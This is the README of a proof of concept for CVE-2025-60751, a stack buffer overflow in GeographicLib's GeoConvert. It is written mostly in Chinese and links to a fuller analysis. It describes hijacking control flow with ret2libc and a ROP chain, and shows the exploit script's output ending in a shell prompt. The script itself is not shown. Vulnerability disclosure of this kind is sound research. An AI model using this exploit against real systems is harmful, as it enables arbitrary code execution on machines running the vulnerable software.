
PoC of CVE-2025-60751
CVE-2025-60751 的 PoC
受影响产品:Geographiclib <= v2.5.1
完整分析文章见 https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html
当 GeoConvert 接收特制输入时,会发生栈缓冲区溢出。 溢出发生的原因是程序未正确验证内部索引,从而允许在栈上进行越界写入。
攻击者可通过覆盖返回地址,使其指向 libc 函数(ret2libc),并利用 ROP 链执行任意代码,从而劫持程序的执行流程。
[~] python3 CVE-2025-60751.py
[*] '/home/matt/geographiclib/tools/GeoConvert'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process '/home/matt/geographiclib/tools/GeoConvert': pid 398391
[*] Switching to interactive mode
ERROR: Column letter A not in UPS band A set JKLPQRSTUXYZ
$
请记得相应调整地址以构建你自己的 ROP 链;由于 ASLR 等内存防御技术,地址可能会有所不同。